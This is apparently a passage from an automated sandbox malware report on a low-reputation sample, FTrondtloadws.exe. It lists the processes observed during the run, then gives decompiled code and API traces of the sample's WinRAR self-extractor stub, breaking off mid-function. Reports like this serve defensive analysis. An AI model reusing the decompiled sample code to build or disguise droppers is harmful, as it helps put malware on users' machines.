Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6924, Parent PID: 580

General

Target ID:	10
Start time:	02:21:24
Start date:	10/05/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff651c80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 4296, Parent PID: 580

General

Target ID:	11
Start time:	02:21:24
Start date:	10/05/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase:	0x7ff651c80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6652, Parent PID: 580

General

Target ID:	12
Start time:	02:21:24
Start date:	10/05/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff651c80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 1832, Parent PID: 580

General

Target ID:	13
Start time:	02:21:25
Start date:	10/05/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff651c80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 2464, Parent PID: 580

General

Target ID:	14
Start time:	02:21:26
Start date:	10/05/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff651c80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: SgrmBroker.exePID: 6320, Parent PID: 580

General

Target ID:	15
Start time:	02:21:26
Start date:	10/05/2023
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff7c8ad0000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 5244, Parent PID: 580

General

Target ID:	16
Start time:	02:21:26
Start date:	10/05/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff651c80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6512, Parent PID: 580

General

Target ID:	17
Start time:	02:21:27
Start date:	10/05/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff651c80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6544, Parent PID: 580

General

Target ID:	18
Start time:	02:21:27
Start date:	10/05/2023
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc
Imagebase:	0x7ff651c80000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MpCmdRun.exePID: 6932, Parent PID: 6512

General

Target ID:	19
Start time:	02:22:28
Start date:	10/05/2023
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff62d530000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1340, Parent PID: 6932

General

Target ID:	20
Start time:	02:22:28
Start date:	10/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: FTrondtloadws.exePID: 6312, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	1551
Total number of Limit Nodes:	33

Executed Functions

Function 00CDEEDC Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 202
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E00CDEEDC(void* __edx, void* __eflags, void* __fp0, void* _a84, void* _a86, void* _a90, void* _a92, void* _a94, void* _a96, void* _a98, void* _a100, void* _a104, void* _a148, void* _a152, void* _a204) {
				char _v216;
				void* __ebx;
				void* __edi;
				void* _t39;
				void* _t40;
				long _t49;
				void* _t52;
				intOrPtr _t56;
				struct HWND__* _t74;
				void* _t87;
				void* _t89;
				WCHAR* _t90;
				struct HINSTANCE__* _t91;
				intOrPtr _t92;
				void* _t94;
				void* _t97;
				void* _t98;
				void* _t99;
				void* _t116;

				_t116 = __fp0;
				_t86 = __edx;
				E00CD1B5C(__edx, 1);
				E00CDB62D(0xd11890, 0x800);
				_t76 =  &_v216;
				E00CDBCEB( &_v216); // executed
				_t74 = 0;
				E00CE1000(_t87, 0xd0a480, 0, 0x7402);
				_t98 = _t97 + 0xc;
				_t90 = GetCommandLineW();
				_t101 = _t90;
				if(_t90 != 0) {
					_push(_t90);
					E00CDD588(0, _t101);
					if( *0xd13899 == 0) {
						E00CDEBAE(__eflags, _t90);
					} else {
						_t89 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						if(_t89 != 0) {
							UnmapViewOfFile(_t94);
						}
						CloseHandle(_t89);
					}
				}
				GetModuleFileNameW(_t74, 0xd20cc0, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0xd20cc0);
				GetLocalTime(_t98 + 0x10);
				_push( *(_t98 + 0x1e) & 0x0000ffff);
				_push( *(_t98 + 0x20) & 0x0000ffff);
				_push( *(_t98 + 0x22) & 0x0000ffff);
				_push( *(_t98 + 0x24) & 0x0000ffff);
				_push( *(_t98 + 0x26) & 0x0000ffff);
				_push( *(_t98 + 0x26) & 0x0000ffff);
				E00CC4A00(_t98 + 0xa8, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d",  *(_t98 + 0x28) & 0x0000ffff);
				_t99 = _t98 + 0x28;
				SetEnvironmentVariableW(L"sfxstime", _t99 + 0x88);
				_t91 = GetModuleHandleW(_t74);
				 *0xd0306c = _t91;
				 *0xd03068 = _t91; // executed
				_t39 = LoadIconW(_t91, 0x64); // executed
				 *0xd20cbc = _t39; // executed
				_t40 = E00CDC76D(_t76, _t86, _t116); // executed
				 *0xd21cc0 = _t40;
				E00CCED42(0xd03070, _t86, 0, 0xd20cc0);
				E00CDA0A7(0);
				E00CDA0A7(0);
				 *0xd0a47c = _t99 + 0x64;
				 *0xd11884 = _t99 + 0x34; // executed
				DialogBoxParamW(_t91, L"STARTDLG", _t74, E00CDC870, _t74); // executed
				 *0xd11884 = _t74;
				 *0xd0a47c = _t74;
				E00CDA16B(_t99 + 0x28);
				E00CDA16B(_t99 + 0x58);
				_t49 =  *0xd21ce0;
				if(_t49 != 0) {
					Sleep(_t49);
				}
				if( *0xd12890 != 0) {
					E00CDBECF(0xd20cc0);
				}
				E00CD05B0(0xd20ca0);
				if( *0xd21cd4 > 0) {
					L00CDFF81( *0xd21cc4);
				}
				DeleteObject( *0xd20cbc);
				_t52 =  *0xd21cc0;
				if(_t52 != 0) {
					DeleteObject(_t52);
				}
				if( *0xd030c4 == 0 &&  *0xd0a46c != 0) {
					E00CC7809(0xd030c4, 0xff);
				}
				_t53 =  *0xd21ce4;
				 *0xd0a46c = 1;
				if( *0xd21ce4 != 0) {
					E00CDEC0B(_t53);
					CloseHandle( *0xd21ce4);
				}
				_t92 =  *0xd030c4;
				if( *0xd21cd8 != 0) {
					_t56 =  *0xd00728; // 0x3e8
					if( *0xd21cd9 == 0) {
						__eflags = _t56;
						if(_t56 < 0) {
							_t92 = _t92 - _t56;
							__eflags = _t92;
						}
					} else {
						_t92 =  *0xd21cdc;
						if(_t56 > 0) {
							_t92 = _t92 + _t56;
						}
					}
				}
				E00CDBD51(_t99 + 0x20); // executed
				return _t92;
			}

0x00cdeedc
0x00cdeedc
0x00cdeee8
0x00cdeef7
0x00cdeefc
0x00cdef00
0x00cdef0a
0x00cdef13
0x00cdef18
0x00cdef21
0x00cdef23
0x00cdef25
0x00cdef2b
0x00cdef2c
0x00cdef37
0x00cdefb7
0x00cdef39
0x00cdef4b
0x00cdef4f
0x00cdefa7
0x00cdefa7
0x00cdefae
0x00cdefae
0x00cdef37
0x00cdefc8
0x00cdefd4
0x00cdefdf
0x00cdefea
0x00cdeff0
0x00cdeff6
0x00cdeffc
0x00cdf002
0x00cdf008
0x00cdf01e
0x00cdf023
0x00cdf033
0x00cdf040
0x00cdf045
0x00cdf04b
0x00cdf051
0x00cdf057
0x00cdf05c
0x00cdf067
0x00cdf06c
0x00cdf075
0x00cdf07e
0x00cdf08e
0x00cdf09d
0x00cdf0a2
0x00cdf0ac
0x00cdf0b2
0x00cdf0b8
0x00cdf0c1
0x00cdf0c6
0x00cdf0cd
0x00cdf0d0
0x00cdf0d0
0x00cdf0dd
0x00cdf0df
0x00cdf0df
0x00cdf0e9
0x00cdf0f5
0x00cdf0fd
0x00cdf102
0x00cdf109
0x00cdf10f
0x00cdf116
0x00cdf119
0x00cdf119
0x00cdf126
0x00cdf13b
0x00cdf13b
0x00cdf140
0x00cdf145
0x00cdf14e
0x00cdf151
0x00cdf15c
0x00cdf15c
0x00cdf169
0x00cdf16f
0x00cdf178
0x00cdf17d
0x00cdf18d
0x00cdf18f
0x00cdf191
0x00cdf191
0x00cdf191
0x00cdf17f
0x00cdf17f
0x00cdf187
0x00cdf189
0x00cdf189
0x00cdf187
0x00cdf17d
0x00cdf197
0x00cdf1a8

APIs

Part of subcall function 00CD1B5C: GetModuleHandleW.KERNEL32(kernel32), ref: 00CD1B75
Part of subcall function 00CD1B5C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00CD1B87
Part of subcall function 00CD1B5C: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00CD1BB8

Part of subcall function 00CDB62D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00CDB635

Part of subcall function 00CDBCEB: OleInitialize.OLE32(00000000), ref: 00CDBD04
Part of subcall function 00CDBCEB: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00CDBD3B
Part of subcall function 00CDBCEB: SHGetMalloc.SHELL32(00D0A460), ref: 00CDBD45

GetCommandLineW.KERNEL32 ref: 00CDEF1B
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00CDEF45
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007402), ref: 00CDEF56
UnmapViewOfFile.KERNEL32(00000000), ref: 00CDEFA7

Part of subcall function 00CDEBAE: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00CDEBC4
Part of subcall function 00CDEBAE: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00CDEC00

Part of subcall function 00CD072B: _wcslen.LIBCMT ref: 00CD074F

CloseHandle.KERNEL32(00000000), ref: 00CDEFAE
GetModuleFileNameW.KERNEL32(00000000,00D20CC0,00000800), ref: 00CDEFC8
SetEnvironmentVariableW.KERNEL32(sfxname,00D20CC0), ref: 00CDEFD4
GetLocalTime.KERNEL32(?), ref: 00CDEFDF
_swprintf.LIBCMT ref: 00CDF01E
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00CDF033
GetModuleHandleW.KERNEL32(00000000), ref: 00CDF03A
LoadIconW.USER32(00000000,00000064), ref: 00CDF051
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001C870,00000000), ref: 00CDF0A2
Sleep.KERNEL32(?), ref: 00CDF0D0
DeleteObject.GDI32 ref: 00CDF109
DeleteObject.GDI32(?), ref: 00CDF119
CloseHandle.KERNEL32 ref: 00CDF15C

Strings

sfxname, xrefs: 00CDEFCF
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00CDF00F
STARTDLG, xrefs: 00CDF097
sfxstime, xrefs: 00CDF02E
winrarsfxmappingfile.tmp, xrefs: 00CDEF39

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf_wcslen
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3014515783-3710569615
Opcode ID: 7771aa0bd899db71e419ac6fd3061a781d1c8cdf6569b1bb2f65b8d4fba6b1cb
Instruction ID: 396becf56d4e92ea12e014d303aa0414b5018513546307c5edfa1fe0c2564246
Opcode Fuzzy Hash: 7771aa0bd899db71e419ac6fd3061a781d1c8cdf6569b1bb2f65b8d4fba6b1cb
Instruction Fuzzy Hash: FE61D175500300BBD320AB65EC49F7F7AACBB54744F00402AF746D23A2DB749986DB72

Uniqueness

Uniqueness Score: -1.00%

Function 00CDB6A2 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00CDB6A2(WCHAR* _a4) {
				char _v4;
				char _v8;
				char _v20;
				intOrPtr* _v28;
				void* __ecx;
				struct HRSRC__* _t14;
				void* _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t27;
				char* _t34;
				void* _t36;
				void* _t38;
				intOrPtr* _t39;
				long _t44;
				intOrPtr* _t45;
				struct HRSRC__* _t46;

				_t14 = FindResourceW( *0xd03068, _a4, "PNG"); // executed
				_t46 = _t14;
				if(_t46 == 0) {
					L15:
					return 0;
				}
				_t44 = SizeofResource( *0xd03068, _t46);
				if(_t44 == 0) {
					goto L15;
				}
				_t17 = LoadResource( *0xd03068, _t46);
				if(_t17 == 0) {
					goto L15;
				}
				_t18 = LockResource(_t17);
				_t47 = _t18;
				if(_t18 == 0) {
					goto L15;
				}
				_v4 = 0;
				_t19 = GlobalAlloc(2, _t44); // executed
				_t36 = _t19;
				if(_t36 == 0) {
					L14:
					return _v4;
				}
				if(GlobalLock(_t36) == 0) {
					L13:
					GlobalFree(_t36);
					goto L14;
				}
				E00CE2C10(_t21, _t47, _t44);
				_v8 = 0;
				_push( &_v8);
				_push(0);
				_push(_t36);
				if( *0xd25180() == 0) {
					_t27 = E00CDB606(_t25, _t38, _v20, 0); // executed
					_t39 = _v28;
					_t45 = _t27;
					 *0xcf4278(_t39);
					 *((intOrPtr*)( *((intOrPtr*)( *_t39 + 8))))();
					if(_t45 != 0) {
						 *((intOrPtr*)(_t45 + 8)) = 0;
						if( *((intOrPtr*)(_t45 + 8)) == 0) {
							_push(0xffffff);
							_t34 =  &_v20;
							_push(_t34);
							_push( *((intOrPtr*)(_t45 + 4)));
							L00CDFBE7(); // executed
							if(_t34 != 0) {
								 *((intOrPtr*)(_t45 + 8)) = _t34;
							}
						}
						 *0xcf4278(1);
						 *((intOrPtr*)( *((intOrPtr*)( *_t45))))();
					}
				}
				GlobalUnlock(_t36);
				goto L13;
			}

0x00cdb6b5
0x00cdb6bb
0x00cdb6bf
0x00cdb7bb
0x00000000
0x00cdb7bb
0x00cdb6d2
0x00cdb6d6
0x00000000
0x00000000
0x00cdb6e3
0x00cdb6eb
0x00000000
0x00000000
0x00cdb6f2
0x00cdb6f8
0x00cdb6fc
0x00000000
0x00000000
0x00cdb709
0x00cdb70d
0x00cdb713
0x00cdb717
0x00cdb7b3
0x00000000
0x00cdb7b8
0x00cdb726
0x00cdb7ac
0x00cdb7ad
0x00000000
0x00cdb7ad
0x00cdb72f
0x00cdb737
0x00cdb73f
0x00cdb740
0x00cdb741
0x00cdb74a
0x00cdb751
0x00cdb756
0x00cdb75a
0x00cdb764
0x00cdb76a
0x00cdb76e
0x00cdb773
0x00cdb778
0x00cdb77a
0x00cdb77f
0x00cdb783
0x00cdb784
0x00cdb787
0x00cdb78e
0x00cdb790
0x00cdb790
0x00cdb78e
0x00cdb79b
0x00cdb7a3
0x00cdb7a3
0x00cdb76e
0x00cdb7a6
0x00000000

APIs

FindResourceW.KERNELBASE(?,PNG,00000000,?,?,?,00CDC7CD,00000066), ref: 00CDB6B5
SizeofResource.KERNEL32(00000000,?,?,?,00CDC7CD,00000066), ref: 00CDB6CC
LoadResource.KERNEL32(00000000,?,?,?,00CDC7CD,00000066), ref: 00CDB6E3
LockResource.KERNEL32(00000000,?,?,?,00CDC7CD,00000066), ref: 00CDB6F2
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00CDC7CD,00000066), ref: 00CDB70D
GlobalLock.KERNEL32 ref: 00CDB71E
GlobalUnlock.KERNEL32(00000000), ref: 00CDB7A6

Part of subcall function 00CDB606: GdipAlloc.GDIPLUS(00000010), ref: 00CDB60C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00CDB787
GlobalFree.KERNEL32 ref: 00CDB7AD

Strings

PNG, xrefs: 00CDB6A6

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: GlobalResource$AllocGdipLock$BitmapCreateFindFreeFromLoadSizeofUnlock
String ID: PNG
API String ID: 541704414-364855578
Opcode ID: f0e1eb7d80bda17870bd89906d7ada0ae4a9e4d1c5d71d3a726633f59daee385
Instruction ID: 7fad7ff771e9de072680621a34f30eb5291740b22009e5ccef48e22801aeef4f
Opcode Fuzzy Hash: f0e1eb7d80bda17870bd89906d7ada0ae4a9e4d1c5d71d3a726633f59daee385
Instruction Fuzzy Hash: 0C316871200302ABD7149F21EC88E3FBBA9EB84751B12492AFA15C2320EB31DD50CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CCBA74 Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E00CCBA74(void* _a4, WCHAR* _a8, intOrPtr _a12) {
				intOrPtr _v572;
				intOrPtr _v580;
				intOrPtr _v588;
				struct _WIN32_FIND_DATAW _v596;
				short _v4692;
				int _t44;
				int _t49;
				signed int _t61;
				signed int _t62;
				void* _t63;
				long _t66;
				void* _t69;
				signed int _t78;
				void* _t79;
				intOrPtr _t80;
				void* _t81;

				E00CDFE20(0x1250);
				_t81 = _a4;
				_t79 = _t78 | 0xffffffff;
				_push( &_v596);
				if(_t81 != _t79) {
					_t44 = FindNextFileW(_t81, ??);
					__eflags = _t44;
					if(_t44 != 0) {
						L12:
						_t80 = _a12;
						E00CD1908(_t80, _a8, 0x800);
						_push(0x800);
						E00CCD6FD(__eflags, _t80,  &(_v596.cFileName));
						_t49 = 0 + _v596.nFileSizeLow;
						__eflags = _t49;
						 *(_t80 + 0x1000) = _t49;
						asm("adc ecx, 0x0");
						 *(_t80 + 0x1008) = _v596.dwFileAttributes;
						 *((intOrPtr*)(_t80 + 0x1004)) = _v596.nFileSizeHigh;
						 *((intOrPtr*)(_t80 + 0x1028)) = _v596.ftCreationTime;
						 *((intOrPtr*)(_t80 + 0x102c)) = _v588;
						 *((intOrPtr*)(_t80 + 0x1030)) = _v596.ftLastAccessTime;
						 *((intOrPtr*)(_t80 + 0x1034)) = _v580;
						 *((intOrPtr*)(_t80 + 0x1038)) = _v596.ftLastWriteTime;
						 *((intOrPtr*)(_t80 + 0x103c)) = _v572;
						E00CD28F4(_t80 + 0x1010,  &(_v596.ftLastWriteTime));
						E00CD28F4(_t80 + 0x1018,  &(_v596.ftCreationTime));
						E00CD28F4(_t80 + 0x1020,  &(_v596.ftLastAccessTime));
						L13:
						 *(_t80 + 0x1040) =  *(_t80 + 0x1040) & 0x00000000;
						return _t81;
					}
					_t81 = _t79;
					_t61 = GetLastError();
					__eflags = _t61 - 0x12;
					_t62 = _t61 & 0xffffff00 | _t61 != 0x00000012;
					L9:
					_t80 = _a12;
					 *(_t80 + 0x1044) = _t62;
					goto L13;
				}
				_t63 = FindFirstFileW(_a8, ??); // executed
				_t81 = _t63;
				if(_t81 != _t79) {
					goto L12;
				}
				if(E00CCCF12(_a8,  &_v4692, 0x800) == 0) {
					L4:
					_t66 = GetLastError();
					if(_t66 == 2 || _t66 == 3 || _t66 == 0x12) {
						_t62 = 0;
						__eflags = 0;
					} else {
						_t62 = 1;
					}
					goto L9;
				}
				_t69 = FindFirstFileW( &_v4692,  &_v596); // executed
				_t81 = _t69;
				if(_t81 != _t79) {
					goto L12;
				}
				goto L4;
			}

0x00ccba7c
0x00ccba83
0x00ccba8d
0x00ccba95
0x00ccba98
0x00ccbb01
0x00ccbb07
0x00ccbb09
0x00ccbb1b
0x00ccbb1b
0x00ccbb23
0x00ccbb28
0x00ccbb31
0x00ccbb3e
0x00ccbb3e
0x00ccbb44
0x00ccbb50
0x00ccbb53
0x00ccbb5f
0x00ccbb6b
0x00ccbb77
0x00ccbb83
0x00ccbb8f
0x00ccbb9b
0x00ccbba7
0x00ccbbb4
0x00ccbbc6
0x00ccbbd8
0x00ccbbdd
0x00ccbbdd
0x00ccbbea
0x00ccbbea
0x00ccbb0b
0x00ccbb0d
0x00ccbb13
0x00ccbb16
0x00ccbaf2
0x00ccbaf2
0x00ccbaf5
0x00000000
0x00ccbaf5
0x00ccba9d
0x00ccbaa3
0x00ccbaa7
0x00000000
0x00000000
0x00ccbabb
0x00ccbad7
0x00ccbad7
0x00ccbae0
0x00ccbaf0
0x00ccbaf0
0x00ccbaec
0x00ccbaec
0x00ccbaec
0x00000000
0x00ccbae0
0x00ccbacb
0x00ccbad1
0x00ccbad5
0x00000000
0x00000000
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00CCB96B,000000FF,?,?), ref: 00CCBA9D

Part of subcall function 00CCCF12: _wcslen.LIBCMT ref: 00CCCF36

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00CCB96B,000000FF,?,?), ref: 00CCBACB
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00CCB96B,000000FF,?,?), ref: 00CCBAD7
FindNextFileW.KERNEL32(?,?,?,?,?,?,00CCB96B,000000FF,?,?), ref: 00CCBB01
GetLastError.KERNEL32(?,?,?,?,00CCB96B,000000FF,?,?), ref: 00CCBB0D

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: 46b67ab78544772d688f264134f515ff5742965816f87083870f0dcb5d8cdb3e
Instruction ID: 9e05ab7c85648d05947c9b90af1d67a837dbb98077ff3724a1265f6d7939c7fd
Opcode Fuzzy Hash: 46b67ab78544772d688f264134f515ff5742965816f87083870f0dcb5d8cdb3e
Instruction Fuzzy Hash: C2414D72900559ABCB25DFA8CC85FEAB3B8FB48350F10019AE66ED3250D7746E94DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00CC92A6 Relevance: 4.7, APIs: 1, Strings: 1, Instructions: 1157
COMMONCrypto

Download Yara Rule

C-Code - Quality: 66%

			E00CC92A6(intOrPtr* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t443;
				signed int _t445;
				signed int _t446;
				void* _t458;
				void* _t471;
				signed int _t472;
				void* _t476;
				intOrPtr* _t477;
				signed int _t479;
				signed int _t485;
				void* _t492;
				signed int _t494;
				signed int _t495;
				signed int _t496;
				signed int _t498;
				signed int _t499;
				signed int _t505;
				signed int _t508;
				char _t509;
				char _t511;
				signed int _t512;
				signed int _t513;
				signed int _t536;
				signed int _t543;
				intOrPtr _t546;
				void* _t553;
				char _t558;
				void* _t559;
				char _t564;
				short* _t572;
				void* _t577;
				void* _t584;
				signed int _t586;
				signed int _t595;
				void* _t599;
				void* _t600;
				void* _t601;
				signed int _t602;
				signed int _t605;
				signed int _t608;
				signed int _t617;
				signed int _t621;
				signed int _t638;
				signed char _t677;
				signed int _t680;
				intOrPtr* _t696;
				signed int _t699;
				intOrPtr _t706;
				signed int _t707;
				char _t716;
				intOrPtr _t718;
				void* _t725;
				signed int _t728;
				signed int _t730;
				signed int _t731;
				char _t733;
				char _t734;
				signed int _t737;
				void* _t746;
				signed char _t756;
				signed int _t760;
				signed int _t761;
				signed int _t772;
				signed int _t801;
				signed int _t817;
				signed int _t819;
				intOrPtr _t820;
				signed int _t821;
				signed int _t822;
				signed int _t823;
				signed int _t824;
				signed int _t830;
				signed int _t831;
				intOrPtr* _t834;
				signed int _t836;
				void* _t838;
				signed int _t841;
				signed int _t844;
				signed int _t845;
				void* _t847;
				signed int _t848;
				signed int _t851;
				signed int _t852;
				void* _t855;
				signed int _t856;
				signed int _t857;
				signed int _t858;
				void* _t861;
				void* _t862;
				void* _t864;
				signed int _t875;
				signed int _t877;

				E00CDFD4C(0xcf38f4, _t862);
				E00CDFE20(0x50fc);
				_t696 =  *((intOrPtr*)(_t862 + 8));
				_t816 = 0;
				_t834 = __ecx;
				 *((intOrPtr*)(_t862 - 0x30)) = __ecx;
				_t699 =  *( *((intOrPtr*)(__ecx + 0x20)) + 0x91e2) & 0x0000ffff;
				 *(_t862 - 0x1c) = _t699;
				if( *((intOrPtr*)(_t862 + 0xc)) != 0) {
					_t838 = __ecx + 0x28;
					L5:
					_t443 =  *((intOrPtr*)(_t696 + 0x1a6c));
					if(_t443 != 2) {
						__eflags = _t443 - 3;
						if(_t443 != 3) {
							__eflags = _t443 - 5;
							if(_t443 != 5) {
								L251:
								E00CC200C(_t696);
								L252:
